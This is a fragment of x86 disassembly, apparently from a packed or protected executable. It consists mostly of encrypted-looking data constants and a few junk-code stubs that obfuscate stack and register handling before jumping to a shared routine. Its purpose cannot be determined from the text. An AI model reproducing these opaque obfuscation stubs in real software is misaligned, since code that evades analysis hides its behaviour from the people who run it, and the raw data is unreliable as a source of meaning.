		dd 6D0F9C6Ah, 27D86F7Dh, 9E48740Ah, 7F409BB7h, 147h, 91FB2C2Ah
		dd 0F986EDDAh, 0B8865176h, 0BB76896Bh, 72AD525h, 0A27D8BAh
		dd 74B54553h, 20DF8F27h, 5C30D911h, 38C79E6Ch, 90DD4CAFh
		dd 0C6DB92F8h, 78FFF5D9h, 77AF7D5Ah, 0D0AF5985h, 6190409Bh
		dd 3B000000h, 0DB92E42Ch, 91D3DAEEh, 5D14E254h,	62463348h
		dd 0EA5491D4h, 0D4A98D1Ch, 12315491h, 91D44125h, 95FBC954h
		dd 0FF3B45Dh, 0DD5491D5h, 0C7D56B81h, 0E150AE39h, 0E696FC94h
		dd 31C9161Bh, 0B93F53F9h, 0D5011502h, 3B095491h, 4C394EA5h
		dd 5491D568h, 7FAE8FEEh, 0B2647B66h, 0A4DEACE4h, 41000000h
		dd 0E150B1BFh, 1562CF31h, 749F457Dh, 9604D04h, 845176DBh
		dd 5CA98876h, 0B07E8CC4h, 796C7A63h, 0A163ED52h, 7CE2E9E0h
		dd 14E7972Fh, 2ED1DD15h, 1166D03h, 0F21BFFECh, 0D5A35A78h
		dd 78F16246h, 0DECBEA5Ah, 5A78F1FAh, 164EB482h,	0EF3CF50Ah
		dd 78F1C52Eh, 31CF5Ah, 0B730D1B3h, 327FE544h, 0DDA23894h
		dd 471EEC9Ah, 8CE379B8h, 6185AD7Ah, 659D0ABFh, 6D2494BFh
		dd 67A10580h, 0F23F0D57h, 0F542EF10h, 0C3F40250h, 0C1DDE90h
		dd 0C4EB3058h, 0AB112833h, 30D1DFF4h, 63DEC901h, 6B5D5683h
		dd 2CB2079Dh, 6F5340FBh, 0F75491D3h, 1F0CC329h,	517FA4A4h
		dd 0C1A592A7h, 495A8044h, 6735437Bh, 781F311Ah,	58C60CF3h
		dd 3FC0CC04h, 0F30C5CF2h, 2F30F13Eh, 690D6156h,	6F90A735h
		dd 23DC2CC2h, 8CF237C4h, 8EA35D3Fh, 8FA25F41h, 929F6042h
		dd 0D422D045h, 0F00654C7h, 0FD939E61h, 92DF52ADh, 0DEEh
		dd 0BA414F00h, 5826376Fh, 31F80311h, 1EC6E8F9h,	33CCAEFBh
		dd 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h, 2ED2B401h
		dd 11D4B603h, 21D9BB08h, 526FBB08h, 0C281E289h,	4, 5204EA83h
		dd 42474FFh, 24048F5Ah
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	3D3Bh
		mov	[esp], edx
		push	esi
		push	362E0C10h
		pop	esi
		push	ebx
		mov	ebx, 0B226CCh
		or	ebx, 6F73103h
		sub	ebx, 0C7F30EA1h
		xor	esi, ebx
		pop	ebx
		xor	esi, 0CC455C8h
		mov	ebx, esi
		pop	esi
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, ebx
		mov	[edx+8], eax
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		db 0F2h, 0CFh, 0D4h
		dd 31936EA5h, 11D53796h, 7592B893h, 0C50305EEh,	8069E0FFh
		dd 0D60236A5h, 8E710956h, 0B35F1955h, 7F8939E2h, 40744FCCh
		dd 756017E7h, 4EB01C9h,	3F05AF32h, 502E9h, 5BBE2600h, 0A48575C5h
		dd 0F227BE0Eh, 3DF40C5Ch, 85A457A7h, 4A6DD6EFh,	92E278B1h
		dd 0DF2FC56Ch, 29790F22h, 0F0C55BD6h, 4A06EAD7h, 0A88E5A80h
		dd 0AE39C623h, 0B92CDC4Dh, 3143FA60h, 0F430A85Ch, 0F59ED6ECh
		dd 0AB41E813h, 4F3CA45Bh, 5491EE6Bh, 72BF25F3h,	87786F90h
		dd 7B8D44AAh, 27FB7E0Bh, 44ED256Eh, 44919862h, 0B9885E92h
		dd 0C9AD9A46h, 5154926Ch, 37871D83h, 0A2B067CAh, 0A698D059h
		dd 0CF86AB56h, 53AB24C1h, 0D4C178DEh, 54926CF0h, 0C972AA78h
		dd 9381CEE0h, 33031175h, 220FEFFBh, 14E230D5h, 0D76DC43Dh
		dd 6CB97887h, 92C7CCABh, 0A5339554h, 0A9887987h, 8DF8971h
		dd 111F457Ch, 10F23FEAh, 2BDB41F0h, 0B0225ACFh,	5Bh, 838D4759h
		dd 0E1D1E381h, 39C698A9h, 0CEAABF8h, 0D55491D4h, 0B9C76573h
		dd 69EEB46h, 0FC3CE6CEh, 6A7C457Ch, 0E71A9166h,	0B165FD4Ah
		dd 0D30BDAC9h, 161h, 34C60C00h,	34C6A8F5h, 3AC6A8F5h, 0C4F8AAF7h
		dd 4EDB1F36h, 9A9768B8h, 629FAD04h, 472B18CFh, 0CF5491D3h
		dd 0BFB8C901h, 0D3D9BDAAh, 93615491h, 2FAC4F5Bh, 0B2E42610h
		dd 79B8466Bh, 0C82E942Ch, 0C861997Bh, 0F5D7FF11h, 0AE52DAA7h
		dd 0F78FDC4Dh, 0DCB05991h, 0B4471EECh, 4BB0BE75h, 64B4A6DEh
		dd 6749969Bh, 6C4E9B7Eh, 6B4D9A8Fh, 0D94E9B96h,	39D0DD2Bh
		dd 18B2A533h, 0F9457C5Fh, 0B1h,	49B1BFA4h, 583C29E0h, 0E05491D3h
		dd 2DCEDA12h, 7EE44DB2h, 21334831h, 0AEBFBFCFh,	391DAC1Fh
		dd 0C15492BCh, 36AFBBF3h, 4D1A2CE3h, 0E7964112h, 33F604B4h
		dd 6D164EE6h, 0E27187BBh, 237A1019h, 3100000Eh,	91E3BEA2h
		dd 0C4784654h, 0CF4283B2h, 0C9D50DE2h, 0C8AAF732h, 8BCCAB38h
		dd 65EC4C0h, 358A53A0h,	1F57DA27h, 20DA8D5Bh, 21457C53h
		dd 54h,	0EE43BCCAh, 0C0D109A1h,	0A7F435C6h, 0A8F53CC5h
		dd 0D7283633h, 3D750D5Ah, 27D46379h, 85EB46B8h,	0F33EC0CEh
		dd 6A570EA6h, 5491D386h, 1608400Eh, 74A8ADBFh, 10AA325Ch
		dd 5C948560h, 0F534C64Bh, 0D408E7A8h, 6FD15491h, 0FC44EE99h
		dd 125457Ch, 0D0000000h, 0AFAC1FC6h, 0E25A5FA6h, 0E3C51278h
		dd 23C8151Ch, 0B53007D5h, 0B4DEC016h, 157BBE59h, 0FA62957Fh
		dd 45835643h, 3D0B5177h, 40F10EF0h, 3BA55AAAh, 794B6A4Eh
		dd 1C00ED5Ah, 0A45A794Ch, 0A25624D6h, 129CCBE8h, 7DCA3050h
		dd 797ADEBCh, 8F9A605Ah, 91A06042h, 0CB21CF44h,	7D583C6h
		dd 0CD18CF30h, 167FF4Ch, 4DE41B6Bh, 50E11E00h, 0A93F2F03h
		dd 36CC659Ah, 9B5B600Ah, 10C4140h, 2CEC0000h, 0EDDA91FBh
		dd 5176F986h, 896BB886h, 0CE25BB76h, 82C7F2BCh,	85BD8A9Fh
		dd 0F4AB8679h, 0CA171AE6h, 6F51FA32h, 8054A190h, 14EB7A90h
		dd 0B15B871Dh, 92409B81h, 2Ch, 92E42C3Dh, 0D3DAEEDBh, 14E25491h
		dd 0D52206C7h, 94F05491h, 0BB3D5546h, 0D5031704h, 3D0B5491h
		dd 0BC4250A7h, 0A76F3D75h, 0D2000000h, 0DA91FB2Ch, 0A047B7C5h
		dd 0ED85D25Fh, 6AA23A87h, 76DB287Fh, 8DDAA851h,	47DD54ABh
		dd 6DF08F7h, 9F60AD13h,	5A78DD36h, 53E9FFADh, 0DD6D513Eh
		dd 27F55A78h, 151CE3EFh, 0FA62957Fh, 2C192E43h,	5A78DD48h
		dd 5E6BAECEh, 7A2CB12Eh, 788974ACh, 7B5766EBh, 529F926Dh
		dd 0A67482BAh, 0A9887759h, 0CF0DDF2h, 94606790h, 3E58EC6h
		dd 0E76E9E2h, 67936506h, 2DD2B401h, 9442B704h, 78C63946h
		dd 9E0E3962h, 3CC4D2E7h, 0D810A8F5h, 5509DCEDh,	5F16E45Dh
		dd 0AE795D4Ah, 33016655h, 0A4B209FBh, 0F189D65Bh, 0FB2CA8B9h
		dd 0D36F5340h, 29F75491h, 0E1F0CC3h, 11517FA6h,	0E936FB03h
		dd 3D0B1951h, 0AA877886h, 0AD847B5Dh, 84660F47h, 0D020B67Bh
		dd 0F4B5022Fh, 74687F99h, 7AC91F53h, 0BC035E85h, 0CDE98FF3h
		dd 1E9EB067h, 3D68EE97h, 0E84EDB20h, 916EBEB0h,	2086AB56h
		dd 0D10FF1D3h, 6C9E00E4h, 54BA8895h, 0B79B889Dh, 41956C9Dh
		dd 0F4C274BDh, 0D16E13BCh, 0A5F237C3h, 0FB11D50Dh, 89E936Ch
		dd 61A047B8h, 85EB83D0h, 39438h, 58F70000h, 0FB1EC613h
		dd 0FE33CCAEh, 0FF32CFB1h, 32ED0B2h, 227D4B6h, 128D3B5h
		dd 32ED2B4h, 811D4B6h, 821D9BBh, 0EC836FBBh, 24348904h
		dd 0C681E689h, 4, 8704EE83h
		db 34h,	24h, 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	6AD7h
		mov	[esp], eax
		push	ecx
		mov	ecx, 5EE7660h
		push	ecx
		xor	dword ptr [esp], 48B0020Ah
		pop	esi
		xor	esi, 48B0020Ah
		pop	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	ebx
		mov	ebx, esi
		mov	[eax+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_546C33
; ---------------------------------------------------------------------------
		dw 0B8F9h
		dd 5EE7AE5h, 0E0FFC503h, 7109C590h, 0E59769Fh, 6CB78137h
		dd 5BDFEA94h, 4388FF8Ah, 0A930E99h, 8A77317h, 389CB4AAh
		dd 921D92Eh, 7FD73132h,	3FE172FDh, 11E6BEAEh, 62E8F172h
		dd 69D24B04h, 8466AAFh,	1A16C325h, 59E0ED65h, 0B6EC48Ch
		dd 3C00DA87h, 4253D4BAh, 73182007h, 353104EBh, 78E96D6Eh
		dd 90000005h, 0DF2FC554h, 28780E1Bh, 76C65CBDh,	0C111A78Ah
		dd 4059EF3Ah, 0E247B4D7h, 2F02FC4Ch, 79B84999h,	0C56C93E3h
		dd 54415A2Fh, 5A804E70h, 7D8B12F8h, 0CA62AF82h,	39C68192h
		dd 32C9ABF8h, 0CF3240F7h, 0E8382A62h, 0EBCD1A17h, 0E7D01D14h
		dd 0D401E5D2h, 0BB895491h, 55837783h, 91D38468h, 41F00E54h
		dd 0DCAA5CF4h, 9CAABF76h, 583CCB5Eh, 0E05491D3h, 7F31DA12h
		dd 0D82BEAFCh, 536371DBh, 62C8929Fh, 0BDF57ED7h, 0AB54E3F9h
		dd 61A0F086h, 17EA3AD0h, 13EBCD1Ah, 721E82D0h, 6DD367F1h
		dd 0DF2D7B20h, 22B87988h, 0C6B32DD2h, 549263E2h, 0E9369C6Ah
		dd 92634928h, 5AB01254h, 7C6C852Fh, 43B7C545h, 0C90199E6h
		dd 7B57h, 1DEE0000h, 8D07F1DAh,	0C9509545h, 39C68091h
		dd 0CEAABF8h, 0D55491D4h, 48F26573h, 88457CFCh,	0DFA28673h
		dd 5C2A5491h, 1B224h, 0BF5D0000h, 0A9E150B1h, 7FCC5D9Dh
		dd 323B8496h, 0D76C27CBh, 5C10A432h, 0D50D67CFh, 5CAA31C9h
		dd 0E613023h, 0CEB0FD63h, 0B2FF32h, 0D3273ECCh,	0EE3BEE0Ch
		dd 0D859A656h, 0D68DF38Bh, 0CCF0D4C1h, 867A5492h, 14C65EABh
		dd 0CC1C0E46h, 1368FE33h, 0A7F435C6h, 0E24FB0BEh, 0B9C5FD95h
		dd 0C6AA9741h, 4E5491D3h, 0EBCD1A80h, 0F9DDCA16h, 815491D3h
		dd 1E004DB3h, 8F0451E0h, 0E4860BE1h, 0AC4FE6F4h, 6897E77Dh
		dd 4B9A7CC9h, 0B2B881CEh, 0FA973124h, 0C9D7457Ch, 17AFFC35h
		dd 986DDFh, 0C6180000h,	0BEA7F435h, 0B613C6ACh,	80B8069Ah
		dd 5BA87174h, 5CA98879h, 9B646B7Ah, 4BB14996h, 442815FEh
		dd 0CC5492C4h, 0A03692FEh, 0D1275BDBh, 1AB07982h, 0ABF831CAh
		dd 0ADFA37C9h, 0C1AE1ACBh, 5492C4DDh, 0E4319765h, 0FDE8FF02h
		dd 9569B61Ch, 0E50057A5h, 0E237CE34h, 0C4FCE0CDh, 0B6845492h
		dd 392CBA7Eh, 457C0B9Fh, 6380h,	35C62B00h, 6F9156AAh, 770F5CC2h
		dd 0D31923C3h, 0A0063FC4h, 0A1907153h, 0DB31DF54h, 3BA6F8Ch
		dd 9C1D01EEh, 0D7A55492h, 2058D927h, 34C6D92Eh,	0ADBFA8F5h
		dd 0E26B339Bh, 0BDA8E016h, 5492B4DEh, 9F46A160h, 0E5C7147Ah
		dd 0B868C81Bh, 0CBE8891Ch, 0F5A31865h, 0CF319AE7h, 0E3A44E39h
		dd 185457Ch, 30000000h,	0ADFA1FC6h, 0B0FD34CBh,	0B2FF32CEh
		dd 0B2FF2AD0h, 98916A1Ah, 8258A64Bh, 0DFED8AFDh, 9D62121Fh
		dd 77AF4794h, 0F90725B3h, 44DC2908h, 75C26794h,	4C99A5DDh
		dd 140116CDh, 5491D430h, 4633EAB8h, 5491D362h, 0F2E41CEAh
		dd 0C1588D9Bh, 2828DC74h, 0C82FDCDDh, 244FF52Dh, 12927663h
		dd 4C1A5492h, 0DD212FE6h, 1C091C54h, 51773C49h,	0D4B603D1h
		dd 0F029BC2Bh, 5BA4F48Ah, 0EAC889D6h, 6C5A7942h, 83AE518Eh
		dd 0EB389E36h, 0ED3AF709h, 9FECFA48h, 258AE5Ch,	0B8D2C4F0h
		dd 0ADA3A2Ah, 3694483Ah, 0D0DC1431h, 1C6C022Fh,	1F014EE3h
		dd 300451E0h, 1217E3F1h, 71C016DAh, 0DAECA38Eh,	0BC770687h
		dd 74669E01h, 9B0A9E48h, 1177F40h, 2C2A0000h, 0EDDA91FBh
		dd 5176F986h, 896BB886h, 0D525BB76h, 0D8BA072Ah, 0E9BD0A27h
		dd 0AB54E3F9h, 1AC4F086h, 5A409BD0h, 0B745845h,	2EFC5A79h
		dd 5984F6h, 0BF2F0000h,	135363ADh, 0EB23E521h, 0F4AB0D45h
		dd 91E5F307h, 0E02DFB54h, 1A17E9F7h, 798535CDh,	9BD36BB8h
		dd 91E6CCB0h, 0A83E9A54h, 0E31BCBFFh, 369014Eh,	0E64B5F4Ch
		dd 3B535491h, 73096FAAh, 0F0F30E1Ch, 0CC967CE6h, 70A80E52h
		dd 94A2h, 95F10300h, 60A769ECh,	0BF5C6DA5h, 0A7DF4AB1h
		dd 318D601h, 0FD5DF35Ah, 7562197Fh, 5176E51Eh, 0B3978499h
		dd 3B5A78E6h, 5927356Dh, 5CD52A0Ch, 578976C6h, 78E6866Ah
		dd 89400E5Ah, 78E6B89Ch, 0C72405Ah, 0E795FEBFh,	5E0C5A78h
		dd 0EB46B988h, 86386B55h, 9B52B879h, 66BD0FAEh,	55F30F57h
		dd 63412907h, 62BD383h,	6EBB21B9h, 71BE738Ch, 3F687ECCh
		dd 0EDA414h, 5D553D61h,	7EB34E5Ch, 53619931h, 0FFBCCE85h
		dd 0A44A8F56h, 216EC33Eh, 0F9EB2389h, 91FB2CA4h, 0FB2ECCDAh
		dd 0CBDE16AEh, 7FA93FDEh, 24713F51h, 0BD74BD42h, 0A9E150AFh
		dd 999867B7h, 0E3858B4Ch, 83B741FFh, 1021DE75h,	5CD52A7Ah
		dd 5ED32D0Fh, 7A8492A7h, 43D26AB7h, 0C301035Fh,	38E119E7h
		dd 3885A456h, 0D484A556h, 0D3B50227h, 1FB7042Dh, 0D3D82EDCh
		dd 7FB1C360h, 46EB13E7h, 0DDAD61F9h, 3C7FFE0h, 90A15EF5h
		dd 6695A3FAh, 807F8BC3h, 3C064B1h, 23000000h, 1EC61358h
		dd 33CCAEFBh, 32CFB1FEh, 2ED0B2FFh, 27D4B603h, 28D3B502h
		dd 2ED2B401h, 11D4B603h, 21D9BB08h, 526FBB08h, 0C281E289h
		dd 4, 8704EA83h, 248B2414h, 0E2895224h,	4C281h,	0EA830000h
		dd 24148704h, 2404895Ch, 143E68h, 242C8900h, 3A1BF57h
		dd 29B83CE0h, 5C90E78h,	66CB3214h, 142DF801h, 5F66CB32h
		dd 242C8B54h, 4C481h, 0EC810000h, 4, 0BB241C89h, 8, 389EB01h
		dd 2434FF5Bh, 4C4815Dh,	8B000000h, 89502404h, 405E0h, 0C0830000h
		dd 24048704h, 0FF59E95Ch, 7212FFF8h, 0C11D6C40h, 76D10567h
		dd 0B8AA21A4h, 5EE80B2h, 0E0FFC503h, 310C8C08h,	20B4C796h
		dd 2EBD1328h, 27E4C879h, 69249591h, 4DDE3579h, 65CFBCB8h
		dd 59263B5Ah, 10EBh, 3 dup(0)
		dd 0C08B0000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	0A1C35545h, 765EA833h, 81BD833Bh, 5E70Ch, 0BD830975h
		dd 5E72819h, 50197400h,	0B8C08B53h, 42Dh, 47D8589h, 9D8D05E7h
		dd 5E9B493h, 585BD3FFh,	2819BD83h, 740005E7h, 0B8535017h
		dd 42Dh, 47D8589h, 9D8D05E7h, 5E9B182h,	585BD3FFh, 89AD31BAh
		dd 0ACBE663Ah, 89C08BE9h, 0E7177195h, 0D98D8B05h, 8B05E71Ch
		dd 0E71D5995h, 0F98305h, 7D840Fh, 0D8B60000h, 2C3D8B64h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0F24FC351h, 0FF18BAAh,	0B89h
		dd 6E900h, 0E42C0000h, 0E50FAF8Eh, 840FFF0Bh, 3Bh, 24199D09h
		dd 3F8B05E7h, 0CCE68166h, 6AC03258h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0D41AC350h
		dd 607802C6h, 0BB19D8Bh, 0F36105E7h, 35F78BAAh,	53504149h
		dd 0C618CA80h, 0E732A585h, 6A4705h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E7B047C3h
		dd 0BFC67BBBh, 6880F9Eh, 8B000000h, 0E7120595h,	4E805h
		dd 882C0000h, 0DDB2DCD6h, 0E9DBBA50h, 448B636Dh, 6BA0424h
		dd 8B7F710Ah, 66525000h, 0F6412BAh, 0AE931h, 0E52A0000h
		dd 0BF83750Ch, 94E19DB5h, 4489585Ah, 0BE660424h, 8B58E431h
		dd 5B5FFD6h, 6605E72Bh,	8DBFF8BEh, 0EA7DA185h, 50006A05h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0AA065255h, 39266FF7h, 0EE8h, 8DCB9700h, 5DCE9A61h
		dd 33F7CE14h, 89BFEBA6h, 0E703A595h, 0D0FF5E05h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 8EC35646h, 0CE9545Dh
		dd 0D7000000h, 0C9AE829Eh, 9B5CB4ADh, 8B8170C2h, 798589D0h
		dd 6A05E71Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0B125C355h, 3EFAC0BAh,	0A585C634h
		dd 5305E732h, 17519D89h, 0F16805E7h, 0E8487433h, 12h, 0F1731135h
		dd 0D623D188h, 0E8760D89h, 10ECD303h, 22B6CA54h, 2404815Eh
		dd 4024370Bh, 2EBD9533h, 0B5FF05E7h, 5E72B05h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 84C35545h, 0D68B4A1Fh
		dd 6830Fh, 8D090000h, 5E7189Dh,	7DA1858Dh, 0B50305EAh
		dd 5E73269h, 9D89D0FFh,	5E726F9h, 3917858Dh, 858905EAh
		dd 5E7196Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0CAC35747h, 0EFD8E835h,	9589518Eh, 5E72459h, 6A206A5Ah
		dd 6D95FFFFh, 3505E719h, 53504149h, 183D85C7h, 105E7h
		dd 85C70000h, 5E71725h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0BAC35545h
		dd 1F202785h, 83F38BB6h, 0E71809BDh, 840F0005h,	4Bh, 2F29BD89h
		dd 858B05E7h, 5E700ADh,	1B52360h, 105E71Bh, 0E727F595h
		dd 0A3646105h, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0EBC35242h
		dd 5AF72F5Dh, 858B29ECh, 5E72F0Dh, 83FCE08Bh, 0E70401BDh
		dd 850F0005h, 464h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 34C35747h, 90887A1Fh,	290EA883h, 0E705A59Dh
		dd 0A585C605h, 5605E732h, 4E8h,	0C530DF00h, 69B060A9h
		dd 8AB2BB66h, 0BA665061h, 448B0541h, 10E90424h,	0A6000000h
		dd 0A2663103h, 6646C19Ah, 82277779h, 8B5B589Dh,	0CC10BA00h
		dd 4489463Fh, 0E9570424h, 0Fh, 8BCA91D8h, 8E7B4329h, 0B24DAAD4h
		dd 5A0FD888h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B26BB84h, 619503F1h, 0FF05E72Bh
		dd 0E72B05B5h, 0AE96005h, 0A7000000h, 9CF11F91h, 9842249h
		dd 79858BE1h, 6105E70Ch, 7DA1858Dh, 0FFF905EAh,	0E28166D0h
		dd 6690EC1Bh, 6650F38Bh, 90A81ABAh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 17h, 34C35040h, 898CD795h, 0E702019Dh
		dd 458D8D05h, 8B05E709h, 0E709D9B5h, 52505005h,	585A310Fh
		dd 0E8240C89h, 14h, 0EFDF4983h,	1381E92Fh, 9CDC85Ch, 4DD2758h
		dd 5F8B90C0h, 0F0AE0CBAh, 46A5A05h, 6E8h, 8345B100h, 8139814Fh
		dd 7CDE10DEh, 0B5685A77h, 6068D497h, 13E8h, 0C3776500h
		dd 522AC01Eh, 0C5CFE975h, 68417743h, 61C03B55h,	0F5E6160h
		dd 68Fh, 8B0F00h, 61000000h, 0B5243481h, 6A68D487h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0C20CC351h, 7E9ABh, 88860000h, 735C8CACh, 4DB5FF52h
		dd 0F05E713h, 687h, 39958B00h, 0FF05E70Bh, 53006AD0h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
		dd 0B8FF28ECh, 329E8770h, 0BD8BE28Dh, 5E7134Dh,	7F03F28Bh
		dd 55006A3Ch, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 2D2DA2EBh, 0C781F7DEh, 0F8h, 0A3280FBEh
		dd 0E850F0Dh, 60000000h, 8A0Fh,	0C0810000h, 62983639h
		dd 2447C761h, 60000020h, 2C35B58Bh, 0BD8305E7h,	5EE816Dh
		dd 8A840F00h, 0E9000001h, 0Eh, 0F31EF40Eh, 0E344A5CAh
		dd 0F6A95526h, 0C7839532h, 53006A28h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0AECF6CAAh
		dd 0C7D08B66h, 696A2E07h, 50006A64h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 0E9BBE210h
		dd 0Bh,	586EA8E3h, 5CA94B52h, 3F30E7Eh,	0E7204D95h, 447C705h
		dd 617461h, 8175858Bh, 8F0F05EEh, 2, 4789F48Ah,	56006A0Ch
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 98B5205Dh, 78578F9Ah, 8B5A5781h, 0EE817985h,	1B58B05h
		dd 8905E72Dh, 81500847h, 0DCCE2AF6h, 54BA5E23h,	831E28EEh
		dd 8B5028C7h, 0E70A3195h, 7C75A05h, 6E6F632Eh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 6BC35646h, 11E9BC93h
		dd 63000000h, 923594B8h, 8514428Dh, 0E9E4ED91h,	97FD85F8h
		dd 0F8CE8166h, 447C7C3h, 676966h, 2B95BD89h, 858B05E7h
		dd 5EE8171h, 0E8D18B66h, 10h, 0E6E65F68h, 8ABBF8CFh, 0B4037BE6h
		dd 71AE3ADAh, 5D18589h,	895E05E7h, 858B0C47h, 5EE816Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 68C35141h
		dd 80B5E3A9h, 0CE97ED2h, 6A000000h, 9A207CA6h, 98AEC347h
		dd 89745B2Dh, 0CE800847h, 505158C9h, 8F40BE66h,	8D8D5A5Ah
		dd 5E72205h, 1A319523h,	895005E7h, 8166240Ch, 527F42C6h
		dd 2BC99529h, 0FF5E05E7h, 0E70945B5h, 0BE805h, 0ADE0000h
		dd 0D54497FCh, 0AC557BC0h, 158D89CBh, 5A05E704h, 0DAC78168h
		dd 0BE86066h, 38000000h, 4E5D582Fh, 577D4FAFh, 0F5FFF16h
		dd 287h, 61616000h, 81243481h, 6666DAD7h, 865FE681h, 134DB5FFh
		dd 11E905E7h, 0BB000000h, 8A18675Eh, 1224D225h,	79D4B3D7h
		dd 692AF1A5h, 958BD0FFh, 5E721C9h, 0B8h, 0EE900h, 7E320000h
		dd 0BABE2B04h, 4CE165B8h, 0F2001058h, 840FC00Bh, 46h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 9DC35646h, 47D5A5E5h
		dd 80529C84h, 9E9E9D6h,	3C000000h, 5EEE1F7h, 50911EE2h
		dd 2B21B5FFh, 0BD2905E7h, 5E72CB9h, 179595FFh, 0C08B05E7h
		dd 39A6E681h, 0BD83348Fh, 5E70C81h, 83097500h, 0E72819BDh
		dd 19740005h, 0C08B5350h, 42DB8h, 75858900h, 8D05E717h
		dd 0E9B4FA9Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h
		dd 42DB8h, 75858900h, 8D05E717h, 0E9B19B9Dh, 5BD3FF05h
		dd 0D9958B58h, 8B05E72Ah, 56006AC0h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1C04h,	0C3564600h, 0A74BE0D9h
		dd 890EB4C7h, 0EBC08B55h, 459A8704h, 560E94Dh, 0B52F0000h
		dd 7C7ECE64h, 1EC717ADh, 0EB1565FBh, 9B60B046h,	76DFF88Eh
		dd 0EB81A853h, 38CE639Bh, 821819E8h, 0CE64CD32h, 0FF3E0F9h
		dd 975A805Eh, 39C62CB1h, 7AE051AEh, 79B04B2Dh, 0C56C93E3h
		dd 867D8F78h, 0DB2D7632h, 0DF1DEh, 0C7955492h, 0E21D2961h
		dd 0DA20024Fh, 7886984Fh, 80330CF7h, 7E30D911h,	5AA5BC4Ah
		dd 0D8EA41D7h, 1286D0F6h, 0ECF8301Dh, 36861C15h, 4CE51CCBh
		dd 0DA212FE6h, 326A024Fh, 0DA57A789h, 4C9AE88Dh, 7D70CF5h
		dd 2147F71Fh, 425D585h,	23B91FB7h, 0B8052CD3h, 7E98BDCFh
		dd 6B88696Ch, 52694833h, 16EB5492h, 0EECCE1Bh, 0AB59CE1Bh
		dd 3ADF065Dh, 86EF55EDh, 0F9A3D624h, 39457C83h,	235BD62Bh
		dd 74B1h, 0B1BF5C00h, 9CA8E049h, 0C081CE63h, 5491D3E2h
		dd 0D7E5FAABh, 20B80524h, 91D3AD91h, 43193554h,	469533CBh
		dd 551951B7h, 4D2AD487h, 60B457Ch, 0B4000000h, 0A0D859A6h
		dd 0F534C68Fh, 0F534C6A8h, 0F73AC6A8h, 0A533C8AAh, 91D3D4B8h
		dd 288E5C54h, 0DD9F5DBh, 0CC2F8EADh, 14EE31Ch, 0E2AF3D2Dh
		dd 82D82E62h, 2F865F70h, 86BED29Ch, 13A9807Ah, 5FF53CC3h
		dd 0F435C60Ah, 0BCA9BEA7h, 5491D3D8h, 4E5A9260h, 66CB33ACh
		dd 0CE1B8119h, 65FC0AFAh, 0C7DC9396h, 91D3F6DAh, 725F7E54h
		dd 5491D38Eh, 0AAE24816h, 499768B8h, 91D3785Ch,	0CC320054h
		dd 35F40715h, 737254FDh, 3B9059A6h, 2860D12Dh, 29E39664h
		dd 2A457CFAh, 61h, 0F435C6D5h, 0F920C5A7h, 57223042h, 417903D2h
		dd 7AAE6009h, 0B926D56Ch, 29AE742h, 45B6069Ch, 4BB597E4h
		dd 0DE212FE6h, 366E0653h, 28BEC48Dh, 7C74833Dh,	5A8445h
		dd 0BF2F0000h, 0D3D9BDAAh, 93615491h, 7DAC4F5Bh, 7EB34E30h
		dd 7DAC4F31h, 80B14E30h, 996F5F33h, 0D523D114h,	16AC7D7Eh
		dd 0AB34C6C1h, 0F48CD950h, 0A180418Eh, 6A5491D3h, 475CF208h
		dd 91D3765Ah, 280CF954h, 0B05491D4h, 2A6230E2h,	7CFC9842h
		dd 30CAD845h, 14FC1F9h,	0FA000000h, 0ADFA1FC6h,	0E74AB6C4h
